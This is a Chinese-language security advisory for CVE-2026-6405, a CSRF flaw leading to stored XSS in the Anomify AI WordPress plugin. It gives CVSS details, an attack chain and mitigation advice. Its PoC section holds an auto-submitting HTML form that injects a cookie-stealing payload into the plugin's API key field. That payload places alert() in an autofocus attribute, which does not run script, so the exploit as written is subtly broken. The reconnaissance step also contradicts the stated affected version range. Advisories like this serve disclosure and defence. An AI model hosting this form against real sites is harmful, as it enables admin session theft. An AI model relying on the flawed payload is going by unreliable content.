IPBUF安全漏洞报告
English
CVE-2026-6405 CVSS 4.3 中危

CVE-2026-6405: WordPress Anomify插件CSRF导致存储型XSS漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-6405
漏洞类型
跨站请求伪造 (CSRF) / 存储型跨站脚本 (Stored XSS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Anomify AI – Anomaly Detection and Alerting WordPress Plugin

相关标签

CSRFStored XSSWordPressWordPress PluginCWE-352CWE-79

漏洞概述

WordPress插件Anomify AI在0.3.6及以下版本中存在安全漏洞。由于设置页面缺乏nonce验证,攻击者可利用CSRF漏洞修改设置。同时,API密钥字段输出转义不足,允许攻击者通过精心构造的载荷绕过清理机制,诱导管理员注入恶意脚本,导致存储型XSS攻击。

技术细节

该漏洞源于两个关键的安全缺失:一是CSRF防护缺失,设置表单未包含wp_nonce_field(),处理器也未执行check_admin_referer()检查,使得跨域POST请求可以修改插件配置;二是输出转义不当,API密钥仅使用sanitize_text_field()清理(去除HTML标签但保留双引号),并直接通过echo输出到HTML属性中。攻击者可以构造包含双引号的恶意载荷(如" onmouseover=alert(1)),利用CSRF诱导管理员提交,成功将XSS载荷存入数据库,并在管理员再次访问设置页面时触发执行。

攻击链分析

STEP 1
侦察
攻击者确认目标网站安装了Anomify AI插件且版本低于0.3.6。
STEP 2
诱导
攻击者构造包含恶意CSRF表单的HTML页面,并通过钓鱼邮件或社会工程学诱使已登录的管理员点击访问。
STEP 3
利用
管理员浏览器在后台自动向WordPress后台发送POST请求,修改插件设置中的API Key字段,注入恶意XSS载荷。
STEP 4
存储
由于输出转义缺陷,恶意载荷被保存在数据库中。
STEP 5
执行
当管理员再次访问插件设置页面时,载荷在浏览器上下文中执行,攻击者可窃取Cookie或执行管理操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-6405 This HTML page demonstrates the CSRF attack vector to inject Stored XSS. An attacker would host this file and trick a logged-in administrator into visiting it. --> <html> <body> <!-- The form targets the plugin's settings handler (URL may vary based on installation) --> <form action="http://target-wordpress-site/wp-admin/admin.php?page=anomify-settings" method="POST"> <!-- Assuming 'save_settings' or similar is the action based on common WP practices --> <input type="hidden" name="action" value="save" /> <!-- Payload breakdown: sanitize_text_field() strips tags but keeps quotes. The value is rendered like: value="[INPUT]" Input: " autofocus="alert(1) Result: value="" autofocus="alert(1)" --> <input type="hidden" name="api_key" value="&quot; autofocus=&quot;alert(document.cookie)&quot; &quot;" /> <input type="submit" value="Request Prize" /> </form> <script> // Automatically submit the form when the page loads document.forms[0].submit(); </script> </body> </html>

影响范围

Anomify AI <= 0.3.6

防御指南

临时缓解措施
建议立即更新插件至修复版本。若暂时无法更新,请禁用该插件以防止攻击,并对已存储的设置数据进行安全审计,清除潜在的恶意脚本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表